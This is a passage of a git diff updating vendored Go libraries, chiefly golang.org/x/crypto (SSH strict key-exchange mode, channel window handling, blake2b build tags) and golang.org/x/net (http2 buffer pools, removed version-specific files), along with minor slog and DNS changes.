+ SUBQ $2, DI
JA loop
RET
@@ -222,8 +222,8 @@ TEXT ·xorBlocksSSE2(SB), 4, $0-32
MOVQ out+0(FP), DX
MOVQ a+8(FP), AX
MOVQ b+16(FP), BX
- MOVQ a+24(FP), CX
- MOVQ $128, BP
+ MOVQ c+24(FP), CX
+ MOVQ $128, DI
loop:
MOVOU 0(AX), X0
@@ -238,6 +238,6 @@ loop:
ADDQ $16, BX
ADDQ $16, CX
ADDQ $16, DX
- SUBQ $2, BP
+ SUBQ $2, DI
JA loop
RET
diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go
index 4f506f8791..199c21d27a 100644
--- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go
+++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go
@@ -2,7 +2,7 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
-//go:build go1.7 && amd64 && gc && !purego
+//go:build amd64 && gc && !purego
package blake2b
diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s
index 353bb7cac5..9ae8206c20 100644
--- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s
+++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s
@@ -2,7 +2,7 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
-//go:build go1.7 && amd64 && gc && !purego
+//go:build amd64 && gc && !purego
#include "textflag.h"
diff --git a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go
deleted file mode 100644
index 1d0770abba..0000000000
--- a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go
+++ /dev/null
@@ -1,24 +0,0 @@
-// Copyright 2016 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build !go1.7 && amd64 && gc && !purego
-
-package blake2b
-
-import "golang.org/x/sys/cpu"
-
-func init() {
- useSSE4 = cpu.X86.HasSSE41
-}
-
-//go:noescape
-func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
-
-func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
- if useSSE4 {
- hashBlocksSSE4(h, c, flag, blocks)
- } else {
- hashBlocksGeneric(h, c, flag, blocks)
- }
-}
diff --git a/vendor/golang.org/x/crypto/blake2b/register.go b/vendor/golang.org/x/crypto/blake2b/register.go
index d9fcac3a4d..54e446e1d2 100644
--- a/vendor/golang.org/x/crypto/blake2b/register.go
+++ b/vendor/golang.org/x/crypto/blake2b/register.go
@@ -2,8 +2,6 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
-//go:build go1.9
-
package blake2b
import (
diff --git a/vendor/golang.org/x/crypto/ssh/channel.go b/vendor/golang.org/x/crypto/ssh/channel.go
index c0834c00df..cc0bb7ab64 100644
--- a/vendor/golang.org/x/crypto/ssh/channel.go
+++ b/vendor/golang.org/x/crypto/ssh/channel.go
@@ -187,9 +187,11 @@ type channel struct {
pending *buffer
extPending *buffer
- // windowMu protects myWindow, the flow-control window.
- windowMu sync.Mutex
- myWindow uint32
+ // windowMu protects myWindow, the flow-control window, and myConsumed,
+ // the number of bytes consumed since we last increased myWindow
+ windowMu sync.Mutex
+ myWindow uint32
+ myConsumed uint32
// writeMu serializes calls to mux.conn.writePacket() and
// protects sentClose and packetPool. This mutex must be
@@ -332,14 +334,24 @@ func (ch *channel) handleData(packet []byte) error {
return nil
}
-func (c *channel) adjustWindow(n uint32) error {
+func (c *channel) adjustWindow(adj uint32) error {
c.windowMu.Lock()
- // Since myWindow is managed on our side, and can never exceed
- // the initial window setting, we don't worry about overflow.
- c.myWindow += uint32(n)
+ // Since myConsumed and myWindow are managed on our side, and can never
+ // exceed the initial window setting, we don't worry about overflow.
+ c.myConsumed += adj
+ var sendAdj uint32
+ if (channelWindowSize-c.myWindow > 3*c.maxIncomingPayload) ||
+ (c.myWindow < channelWindowSize/2) {
+ sendAdj = c.myConsumed
+ c.myConsumed = 0
+ c.myWindow += sendAdj
+ }
c.windowMu.Unlock()
+ if sendAdj == 0 {
+ return nil
+ }
return c.sendMessage(windowAdjustMsg{
- AdditionalBytes: uint32(n),
+ AdditionalBytes: sendAdj,
})
}
diff --git a/vendor/golang.org/x/crypto/ssh/client.go b/vendor/golang.org/x/crypto/ssh/client.go
index bdc356cbdf..fd8c49749e 100644
--- a/vendor/golang.org/x/crypto/ssh/client.go
+++ b/vendor/golang.org/x/crypto/ssh/client.go
@@ -82,7 +82,7 @@ func NewClientConn(c net.Conn, addr string, config *ClientConfig) (Conn, <-chan
if err := conn.clientHandshake(addr, &fullConf); err != nil {
c.Close()
- return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %v", err)
+ return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %w", err)
}
conn.mux = newMux(conn.transport)
return conn, conn.mux.incomingChannels, conn.mux.incomingRequests, nil
diff --git a/vendor/golang.org/x/crypto/ssh/client_auth.go b/vendor/golang.org/x/crypto/ssh/client_auth.go
index 5c3bc25723..34bf089d0b 100644
--- a/vendor/golang.org/x/crypto/ssh/client_auth.go
+++ b/vendor/golang.org/x/crypto/ssh/client_auth.go
@@ -307,7 +307,10 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand
}
var methods []string
var errSigAlgo error
- for _, signer := range signers {
+
+ origSignersLen := len(signers)
+ for idx := 0; idx < len(signers); idx++ {
+ signer := signers[idx]
pub := signer.PublicKey()
as, algo, err := pickSignatureAlgorithm(signer, extensions)
if err != nil && errSigAlgo == nil {
@@ -321,6 +324,21 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand
if err != nil {
return authFailure, nil, err
}
+ // OpenSSH 7.2-7.7 advertises support for rsa-sha2-256 and rsa-sha2-512
+ // in the "server-sig-algs" extension but doesn't support these
+ // algorithms for certificate authentication, so if the server rejects
+ // the key try to use the obtained algorithm as if "server-sig-algs" had
+ // not been implemented if supported from the algorithm signer.
+ if !ok && idx < origSignersLen && isRSACert(algo) && algo != CertAlgoRSAv01 {
+ if contains(as.Algorithms(), KeyAlgoRSA) {
+ // We retry using the compat algorithm after all signers have
+ // been tried normally.
+ signers = append(signers, &multiAlgorithmSigner{
+ AlgorithmSigner: as,
+ supportedAlgorithms: []string{KeyAlgoRSA},
+ })
+ }
+ }
if !ok {
continue
}
diff --git a/vendor/golang.org/x/crypto/ssh/common.go b/vendor/golang.org/x/crypto/ssh/common.go
index dd2ab0d69a..7e9c2cbc64 100644
--- a/vendor/golang.org/x/crypto/ssh/common.go
+++ b/vendor/golang.org/x/crypto/ssh/common.go
@@ -127,6 +127,14 @@ func isRSA(algo string) bool {
return contains(algos, underlyingAlgo(algo))
}
+func isRSACert(algo string) bool {
+ _, ok := certKeyAlgoNames[algo]
+ if !ok {
+ return false
+ }
+ return isRSA(algo)
+}
+
// supportedPubKeyAuthAlgos specifies the supported client public key
// authentication algorithms. Note that this doesn't include certificate types
// since those use the underlying algorithm. This list is sent to the client if
diff --git a/vendor/golang.org/x/crypto/ssh/handshake.go b/vendor/golang.org/x/crypto/ssh/handshake.go
index 49bbba7692..56cdc7c21c 100644
--- a/vendor/golang.org/x/crypto/ssh/handshake.go
+++ b/vendor/golang.org/x/crypto/ssh/handshake.go
@@ -35,6 +35,16 @@ type keyingTransport interface {
// direction will be effected if a msgNewKeys message is sent
// or received.
prepareKeyChange(*algorithms, *kexResult) error
+
+ // setStrictMode sets the strict KEX mode, notably triggering
+ // sequence number resets on sending or receiving msgNewKeys.
+ // If the sequence number is already > 1 when setStrictMode
+ // is called, an error is returned.
+ setStrictMode() error
+
+ // setInitialKEXDone indicates to the transport that the initial key exchange
+ // was completed
+ setInitialKEXDone()
}
// handshakeTransport implements rekeying on top of a keyingTransport
@@ -100,6 +110,10 @@ type handshakeTransport struct {
// The session ID or nil if first kex did not complete yet.
sessionID []byte
+
+ // strictMode indicates if the other side of the handshake indicated
+ // that we should be following the strict KEX protocol restrictions.
+ strictMode bool
}
type pendingKex struct {
@@ -209,7 +223,10 @@ func (t *handshakeTransport) readLoop() {
close(t.incoming)
break
}
- if p[0] == msgIgnore || p[0] == msgDebug {
+ // If this is the first kex, and strict KEX mode is enabled,
+ // we don't ignore any messages, as they may be used to manipulate
+ // the packet sequence numbers.
+ if !(t.sessionID == nil && t.strictMode) && (p[0] == msgIgnore || p[0] == msgDebug) {
continue
}
t.incoming <- p
@@ -441,6 +458,11 @@ func (t *handshakeTransport) readOnePacket(first bool) ([]byte, error) {
return successPacket, nil
}
+const (
+ kexStrictClient = "kex-strict-c-v00@openssh.com"
+ kexStrictServer = "kex-strict-s-v00@openssh.com"
+)
+
// sendKexInit sends a key change message.
func (t *handshakeTransport) sendKexInit() error {
t.mu.Lock()
@@ -454,7 +476,6 @@ func (t *handshakeTransport) sendKexInit() error {
}
msg := &kexInitMsg{
- KexAlgos: t.config.KeyExchanges,
CiphersClientServer: t.config.Ciphers,
CiphersServerClient: t.config.Ciphers,
MACsClientServer: t.config.MACs,
@@ -464,6 +485,13 @@ func (t *handshakeTransport) sendKexInit() error {
}
io.ReadFull(rand.Reader, msg.Cookie[:])
+ // We mutate the KexAlgos slice, in order to add the kex-strict extension algorithm,
+ // and possibly to add the ext-info extension algorithm. Since the slice may be the
+ // user owned KeyExchanges, we create our own slice in order to avoid using user
+ // owned memory by mistake.
+ msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+2) // room for kex-strict and ext-info
+ msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
+
isServer := len(t.hostKeys) > 0
if isServer {
for _, k := range t.hostKeys {
@@ -488,17 +516,24 @@ func (t *handshakeTransport) sendKexInit() error {
msg.ServerHostKeyAlgos = append(msg.ServerHostKeyAlgos, keyFormat)
}
}
+
+ if t.sessionID == nil {
+ msg.KexAlgos = append(msg.KexAlgos, kexStrictServer)
+ }
} else {
msg.ServerHostKeyAlgos = t.hostKeyAlgorithms
// As a client we opt in to receiving SSH_MSG_EXT_INFO so we know what
// algorithms the server supports for public key authentication. See RFC
// 8308, Section 2.1.
+ //
+ // We also send the strict KEX mode extension algorithm, in order to opt
+ // into the strict KEX mode.
if firstKeyExchange := t.sessionID == nil; firstKeyExchange {
- msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1)
- msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
msg.KexAlgos = append(msg.KexAlgos, "ext-info-c")
+ msg.KexAlgos = append(msg.KexAlgos, kexStrictClient)
}
+
}
packet := Marshal(msg)
@@ -604,6 +639,13 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
return err
}
+ if t.sessionID == nil && ((isClient && contains(serverInit.KexAlgos, kexStrictServer)) || (!isClient && contains(clientInit.KexAlgos, kexStrictClient))) {
+ t.strictMode = true
+ if err := t.conn.setStrictMode(); err != nil {
+ return err
+ }
+ }
+
// We don't send FirstKexFollows, but we handle receiving it.
//
// RFC 4253 section 7 defines the kex and the agreement method for
@@ -679,6 +721,12 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
return unexpectedMessageError(msgNewKeys, packet[0])
}
+ if firstKeyExchange {
+ // Indicates to the transport that the first key exchange is completed
+ // after receiving SSH_MSG_NEWKEYS.
+ t.conn.setInitialKEXDone()
+ }
+
return nil
}
diff --git a/vendor/golang.org/x/crypto/ssh/server.go b/vendor/golang.org/x/crypto/ssh/server.go
index 8f1505af94..c2dfe3268c 100644
--- a/vendor/golang.org/x/crypto/ssh/server.go
+++ b/vendor/golang.org/x/crypto/ssh/server.go
@@ -213,6 +213,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha
} else {
for _, algo := range fullConf.PublicKeyAuthAlgorithms {
if !contains(supportedPubKeyAuthAlgos, algo) {
+ c.Close()
return nil, nil, nil, fmt.Errorf("ssh: unsupported public key authentication algorithm %s", algo)
}
}
@@ -220,6 +221,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha
// Check if the config contains any unsupported key exchanges
for _, kex := range fullConf.KeyExchanges {
if _, ok := serverForbiddenKexAlgos[kex]; ok {
+ c.Close()
return nil, nil, nil, fmt.Errorf("ssh: unsupported key exchange %s for server", kex)
}
}
@@ -337,7 +339,7 @@ func checkSourceAddress(addr net.Addr, sourceAddrs string) error {
return fmt.Errorf("ssh: remote address %v is not allowed because of source-address restriction", addr)
}
-func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *connection,
+func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, token []byte, s *connection,
sessionID []byte, userAuthReq userAuthRequestMsg) (authErr error, perms *Permissions, err error) {
gssAPIServer := gssapiConfig.Server
defer gssAPIServer.DeleteSecContext()
@@ -347,7 +349,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c
outToken []byte
needContinue bool
)
- outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(firstToken)
+ outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(token)
if err != nil {
return err, nil, nil
}
@@ -369,6 +371,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c
if err := Unmarshal(packet, userAuthGSSAPITokenReq); err != nil {
return nil, nil, err
}
+ token = userAuthGSSAPITokenReq.Token
}
packet, err := s.transport.readPacket()
if err != nil {
diff --git a/vendor/golang.org/x/crypto/ssh/tcpip.go b/vendor/golang.org/x/crypto/ssh/tcpip.go
index 80d35f5ec1..ef5059a11d 100644
--- a/vendor/golang.org/x/crypto/ssh/tcpip.go
+++ b/vendor/golang.org/x/crypto/ssh/tcpip.go
@@ -5,6 +5,7 @@
package ssh
import (
+ "context"
"errors"
"fmt"
"io"
@@ -332,6 +333,40 @@ func (l *tcpListener) Addr() net.Addr {
return l.laddr
}
+// DialContext initiates a connection to the addr from the remote host.
+//
+// The provided Context must be non-nil. If the context expires before the
+// connection is complete, an error is returned. Once successfully connected,
+// any expiration of the context will not affect the connection.
+//
+// See func Dial for additional information.
+func (c *Client) DialContext(ctx context.Context, n, addr string) (net.Conn, error) {
+ if err := ctx.Err(); err != nil {
+ return nil, err
+ }
+ type connErr struct {
+ conn net.Conn
+ err error
+ }
+ ch := make(chan connErr)
+ go func() {
+ conn, err := c.Dial(n, addr)
+ select {
+ case ch <- connErr{conn, err}:
+ case <-ctx.Done():
+ if conn != nil {
+ conn.Close()
+ }
+ }
+ }()
+ select {
+ case res := <-ch:
+ return res.conn, res.err
+ case <-ctx.Done():
+ return nil, ctx.Err()
+ }
+}
+
// Dial initiates a connection to the addr from the remote host.
// The resulting connection has a zero LocalAddr() and RemoteAddr().
func (c *Client) Dial(n, addr string) (net.Conn, error) {
diff --git a/vendor/golang.org/x/crypto/ssh/transport.go b/vendor/golang.org/x/crypto/ssh/transport.go
index da015801ea..0424d2d37c 100644
--- a/vendor/golang.org/x/crypto/ssh/transport.go
+++ b/vendor/golang.org/x/crypto/ssh/transport.go
@@ -49,6 +49,9 @@ type transport struct {
rand io.Reader
isClient bool
io.Closer
+
+ strictMode bool
+ initialKEXDone bool
}
// packetCipher represents a combination of SSH encryption/MAC
@@ -74,6 +77,18 @@ type connectionState struct {
pendingKeyChange chan packetCipher
}
+func (t *transport) setStrictMode() error {
+ if t.reader.seqNum != 1 {
+ return errors.New("ssh: sequence number != 1 when strict KEX mode requested")
+ }
+ t.strictMode = true
+ return nil
+}
+
+func (t *transport) setInitialKEXDone() {
+ t.initialKEXDone = true
+}
+
// prepareKeyChange sets up key material for a keychange. The key changes in
// both directions are triggered by reading and writing a msgNewKey packet
// respectively.
@@ -112,11 +127,12 @@ func (t *transport) printPacket(p []byte, write bool) {
// Read and decrypt next packet.
func (t *transport) readPacket() (p []byte, err error) {
for {
- p, err = t.reader.readPacket(t.bufReader)
+ p, err = t.reader.readPacket(t.bufReader, t.strictMode)
if err != nil {
break
}
- if len(p) == 0 || (p[0] != msgIgnore && p[0] != msgDebug) {
+ // in strict mode we pass through DEBUG and IGNORE packets only during the initial KEX
+ if len(p) == 0 || (t.strictMode && !t.initialKEXDone) || (p[0] != msgIgnore && p[0] != msgDebug) {
break
}
}
@@ -127,7 +143,7 @@ func (t *transport) readPacket() (p []byte, err error) {
return p, err
}
-func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) {
+func (s *connectionState) readPacket(r *bufio.Reader, strictMode bool) ([]byte, error) {
packet, err := s.packetCipher.readCipherPacket(s.seqNum, r)
s.seqNum++
if err == nil && len(packet) == 0 {
@@ -140,6 +156,9 @@ func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) {
select {
case cipher := <-s.pendingKeyChange:
s.packetCipher = cipher
+ if strictMode {
+ s.seqNum = 0
+ }
default:
return nil, errors.New("ssh: got bogus newkeys message")
}
@@ -170,10 +189,10 @@ func (t *transport) writePacket(packet []byte) error {
if debugTransport {
t.printPacket(packet, true)
}
- return t.writer.writePacket(t.bufWriter, t.rand, packet)
+ return t.writer.writePacket(t.bufWriter, t.rand, packet, t.strictMode)
}
-func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte) error {
+func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte, strictMode bool) error {
changeKeys := len(packet) > 0 && packet[0] == msgNewKeys
err := s.packetCipher.writeCipherPacket(s.seqNum, w, rand, packet)
@@ -188,6 +207,9 @@ func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []
select {
case cipher := <-s.pendingKeyChange:
s.packetCipher = cipher
+ if strictMode {
+ s.seqNum = 0
+ }
default:
panic("ssh: no key material for msgNewKeys")
}
diff --git a/vendor/golang.org/x/exp/slog/handler.go b/vendor/golang.org/x/exp/slog/handler.go
index 74f88738c9..bd635cb818 100644
--- a/vendor/golang.org/x/exp/slog/handler.go
+++ b/vendor/golang.org/x/exp/slog/handler.go
@@ -8,6 +8,7 @@ import (
"context"
"fmt"
"io"
+ "reflect"
"strconv"
"sync"
"time"
@@ -504,6 +505,23 @@ func (s *handleState) appendString(str string) {
}
func (s *handleState) appendValue(v Value) {
+ defer func() {
+ if r := recover(); r != nil {
+ // If it panics with a nil pointer, the most likely cases are
+ // an encoding.TextMarshaler or error fails to guard against nil,
+ // in which case "" seems to be the feasible choice.
+ //
+ // Adapted from the code in fmt/print.go.
+ if v := reflect.ValueOf(v.any); v.Kind() == reflect.Pointer && v.IsNil() {
+ s.appendString("")
+ return
+ }
+
+ // Otherwise just print the original panic message.
+ s.appendString(fmt.Sprintf("!PANIC: %v", r))
+ }
+ }()
+
var err error
if s.h.json {
err = appendJSONValue(s, v)
diff --git a/vendor/golang.org/x/net/dns/dnsmessage/message.go b/vendor/golang.org/x/net/dns/dnsmessage/message.go
index b6b4f9c197..42987ab7c5 100644
--- a/vendor/golang.org/x/net/dns/dnsmessage/message.go
+++ b/vendor/golang.org/x/net/dns/dnsmessage/message.go
@@ -751,6 +751,9 @@ func (p *Parser) AllAnswers() ([]Resource, error) {
}
// SkipAnswer skips a single Answer Resource.
+//
+// It does not perform a complete validation of the resource header, which means
+// it may return a nil error when the [AnswerHeader] would actually return an error.
func (p *Parser) SkipAnswer() error {
return p.skipResource(sectionAnswers)
}
@@ -801,6 +804,9 @@ func (p *Parser) AllAuthorities() ([]Resource, error) {
}
// SkipAuthority skips a single Authority Resource.
+//
+// It does not perform a complete validation of the resource header, which means
+// it may return a nil error when the [AuthorityHeader] would actually return an error.
func (p *Parser) SkipAuthority() error {
return p.skipResource(sectionAuthorities)
}
@@ -851,6 +857,9 @@ func (p *Parser) AllAdditionals() ([]Resource, error) {
}
// SkipAdditional skips a single Additional Resource.
+//
+// It does not perform a complete validation of the resource header, which means
+// it may return a nil error when the [AdditionalHeader] would actually return an error.
func (p *Parser) SkipAdditional() error {
return p.skipResource(sectionAdditionals)
}
diff --git a/vendor/golang.org/x/net/http2/databuffer.go b/vendor/golang.org/x/net/http2/databuffer.go
index a3067f8de7..e6f55cbd16 100644
--- a/vendor/golang.org/x/net/http2/databuffer.go
+++ b/vendor/golang.org/x/net/http2/databuffer.go
@@ -20,41 +20,44 @@ import (
// TODO: Benchmark to determine if the pools are necessary. The GC may have
// improved enough that we can instead allocate chunks like this:
// make([]byte, max(16<<10, expectedBytesRemaining))
-var (
- dataChunkSizeClasses = []int{
- 1 << 10,
- 2 << 10,
- 4 << 10,
- 8 << 10,
- 16 << 10,
- }
- dataChunkPools = [...]sync.Pool{
- {New: func() interface{} { return make([]byte, 1<<10) }},
- {New: func() interface{} { return make([]byte, 2<<10) }},
- {New: func() interface{} { return make([]byte, 4<<10) }},
- {New: func() interface{} { return make([]byte, 8<<10) }},
- {New: func() interface{} { return make([]byte, 16<<10) }},
- }
-)
+var dataChunkPools = [...]sync.Pool{
+ {New: func() interface{} { return new([1 << 10]byte) }},
+ {New: func() interface{} { return new([2 << 10]byte) }},
+ {New: func() interface{} { return new([4 << 10]byte) }},
+ {New: func() interface{} { return new([8 << 10]byte) }},
+ {New: func() interface{} { return new([16 << 10]byte) }},
+}
func getDataBufferChunk(size int64) []byte {
- i := 0
- for ; i < len(dataChunkSizeClasses)-1; i++ {
- if size <= int64(dataChunkSizeClasses[i]) {
- break
- }
+ switch {
+ case size <= 1<<10:
+ return dataChunkPools[0].Get().(*[1 << 10]byte)[:]
+ case size <= 2<<10:
+ return dataChunkPools[1].Get().(*[2 << 10]byte)[:]
+ case size <= 4<<10:
+ return dataChunkPools[2].Get().(*[4 << 10]byte)[:]
+ case size <= 8<<10:
+ return dataChunkPools[3].Get().(*[8 << 10]byte)[:]
+ default:
+ return dataChunkPools[4].Get().(*[16 << 10]byte)[:]
}
- return dataChunkPools[i].Get().([]byte)
}
func putDataBufferChunk(p []byte) {
- for i, n := range dataChunkSizeClasses {
- if len(p) == n {
- dataChunkPools[i].Put(p)
- return
- }
+ switch len(p) {
+ case 1 << 10:
+ dataChunkPools[0].Put((*[1 << 10]byte)(p))
+ case 2 << 10:
+ dataChunkPools[1].Put((*[2 << 10]byte)(p))
+ case 4 << 10:
+ dataChunkPools[2].Put((*[4 << 10]byte)(p))
+ case 8 << 10:
+ dataChunkPools[3].Put((*[8 << 10]byte)(p))
+ case 16 << 10:
+ dataChunkPools[4].Put((*[16 << 10]byte)(p))
+ default:
+ panic(fmt.Sprintf("unexpected buffer len=%v", len(p)))
}
- panic(fmt.Sprintf("unexpected buffer len=%v", len(p)))
}
// dataBuffer is an io.ReadWriter backed by a list of data chunks.
diff --git a/vendor/golang.org/x/net/http2/go111.go b/vendor/golang.org/x/net/http2/go111.go
deleted file mode 100644
index 5bf62b032e..0000000000
--- a/vendor/golang.org/x/net/http2/go111.go
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright 2018 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build go1.11
-// +build go1.11
-
-package http2
-
-import (
- "net/http/httptrace"
- "net/textproto"
-)
-
-func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool {
- return trace != nil && trace.WroteHeaderField != nil
-}
-
-func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {
- if trace != nil && trace.WroteHeaderField != nil {
- trace.WroteHeaderField(k, []string{v})
- }
-}
-
-func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error {
- if trace != nil {
- return trace.Got1xxResponse
- }
- return nil
-}
diff --git a/vendor/golang.org/x/net/http2/go115.go b/vendor/golang.org/x/net/http2/go115.go
deleted file mode 100644
index 908af1ab93..0000000000
--- a/vendor/golang.org/x/net/http2/go115.go
+++ /dev/null
@@ -1,27 +0,0 @@
-// Copyright 2021 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build go1.15
-// +build go1.15
-
-package http2
-
-import (
- "context"
- "crypto/tls"
-)
-
-// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS
-// connection.
-func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) {
- dialer := &tls.Dialer{
- Config: cfg,
- }
- cn, err := dialer.DialContext(ctx, network, addr)
- if err != nil {
- return nil, err
- }
- tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed
- return tlsCn, nil
-}
diff --git a/vendor/golang.org/x/net/http2/go118.go b/vendor/golang.org/x/net/http2/go118.go
deleted file mode 100644
index aca4b2b31a..0000000000
--- a/vendor/golang.org/x/net/http2/go118.go
+++ /dev/null
@@ -1,17 +0,0 @@
-// Copyright 2021 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build go1.18
-// +build go1.18
-
-package http2
-
-import (
- "crypto/tls"
- "net"
-)
-
-func tlsUnderlyingConn(tc *tls.Conn) net.Conn {
- return tc.NetConn()
-}
diff --git a/vendor/golang.org/x/net/http2/not_go111.go b/vendor/golang.org/x/net/http2/not_go111.go
deleted file mode 100644
index cc0baa8197..0000000000
--- a/vendor/golang.org/x/net/http2/not_go111.go
+++ /dev/null
@@ -1,21 +0,0 @@
-// Copyright 2018 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build !go1.11
-// +build !go1.11
-
-package http2
-
-import (
- "net/http/httptrace"
- "net/textproto"
-)
-
-func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { return false }
-
-func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {}
-
-func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error {
- return nil
-}
diff --git a/vendor/golang.org/x/net/http2/not_go115.go b/vendor/golang.org/x/net/http2/not_go115.go
deleted file mode 100644
index e6c04cf7ac..0000000000
--- a/vendor/golang.org/x/net/http2/not_go115.go
+++ /dev/null
@@ -1,31 +0,0 @@
-// Copyright 2021 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build !go1.15
-// +build !go1.15
-
-package http2
-
-import (
- "context"
- "crypto/tls"
-)
-
-// dialTLSWithContext opens a TLS connection.
-func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) {
- cn, err := tls.Dial(network, addr, cfg)
- if err != nil {
- return nil, err
- }
- if err := cn.Handshake(); err != nil {
- return nil, err
- }
- if cfg.InsecureSkipVerify {
- return cn, nil
- }
- if err := cn.VerifyHostname(cfg.ServerName); err != nil {
- return nil, err
- }
- return cn, nil
-}
diff --git a/vendor/golang.org/x/net/http2/not_go118.go b/vendor/golang.org/x/net/http2/not_go118.go
deleted file mode 100644
index eab532c96b..0000000000
--- a/vendor/golang.org/x/net/http2/not_go118.go
+++ /dev/null
@@ -1,17 +0,0 @@
-// Copyright 2021 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build !go1.18
-// +build !go1.18
-
-package http2
-
-import (
- "crypto/tls"
- "net"
-)
-
-func tlsUnderlyingConn(tc *tls.Conn) net.Conn {
- return nil
-}
diff --git a/vendor/golang.org/x/net/http2/server.go b/vendor/golang.org/x/net/http2/server.go
index 02c88b6b3e..ae94c6408d 100644
--- a/vendor/golang.org/x/net/http2/server.go
+++ b/vendor/golang.org/x/net/http2/server.go
@@ -2549,7 +2549,6 @@ type responseWriterState struct {
wroteHeader bool // WriteHeader called (explicitly or implicitly). Not necessarily sent to user yet.
sentHeader bool // have we sent the header frame?
handlerDone bool // handler has finished
- dirty bool // a Write failed; don't reuse this responseWriterState
sentContentLen int64 // non-zero if handler set a Content-Length header
wroteBytes int64
@@ -2669,7 +2668,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) {
date: date,
})
if err != nil {
- rws.dirty = true
return 0, err
}
if endStream {
@@ -2690,7 +2688,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) {
if len(p) > 0 || endStream {
// only send a 0 byte DATA frame if we're ending the stream.
if err := rws.conn.writeDataFromHandler(rws.stream, p, endStream); err != nil {
- rws.dirty = true
return 0, err
}
}
@@ -2702,9 +2699,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) {
trailers: rws.trailers,
endStream: true,
})
- if err != nil {
- rws.dirty = true
- }
return len(p), err
}
return len(p), nil
@@ -2920,14 +2914,12 @@ func (rws *responseWriterState) writeHeader(code int) {
h.Del("Transfer-Encoding")
}
- if rws.conn.writeHeaders(rws.stream, &writeResHeaders{
+ rws.conn.writeHeaders(rws.stream, &writeResHeaders{
streamID: rws.stream.id,
httpResCode: code,
h: h,
endStream: rws.handlerDone && !rws.hasTrailers(),
- }) != nil {
- rws.dirty = true
- }
+ })
return
}
@@ -2992,19 +2984,10 @@ func (w *responseWriter) write(lenData int, dataB []byte, dataS string) (n int,
func (w *responseWriter) handlerDone() {
rws := w.rws
- dirty := rws.dirty
rws.handlerDone = true
w.Flush()
w.rws = nil
- if !dirty {
- // Only recycle the pool if all prior Write calls to
- // the serverConn goroutine completed successfully. If
- // they returned earlier due to resets from the peer
- // there might still be write goroutines outstanding
- // from the serverConn referencing the rws memory. See
- // issue 20704.
- responseWriterStatePool.Put(rws)
- }
+ responseWriterStatePool.Put(rws)
}
// Push errors.
